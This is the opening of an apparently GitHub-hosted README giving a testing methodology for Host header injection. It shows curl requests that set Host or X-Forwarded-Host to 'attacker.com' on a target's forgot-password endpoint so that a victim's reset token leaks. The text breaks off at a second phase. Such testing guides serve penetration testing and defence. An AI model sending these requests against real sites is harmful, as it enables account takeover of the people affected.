Documentation
README
Host Header Injection
Objective
Exploit web server reliance on the Host header to poison password reset links, web caches, or route requests to internal services.
Testing Methodology
Phase 1: Password Reset Poisoning
# Trigger password reset with injected Host
curl -X POST https://TARGET/forgot-password \
-H "Host: attacker.com" \
-d "email=victim@example.com"
# X-Forwarded-Host variant
curl -X POST https://TARGET/forgot-password \
-H "X-Forwarded-Host: attacker.com" \
-d "email=victim@example.com"
If the reset email link contains attacker.com, the token is leaked when victim clicks.
Phase 2: Duplicate Host Headers
This is the opening of the README. Read the full README on GitHub.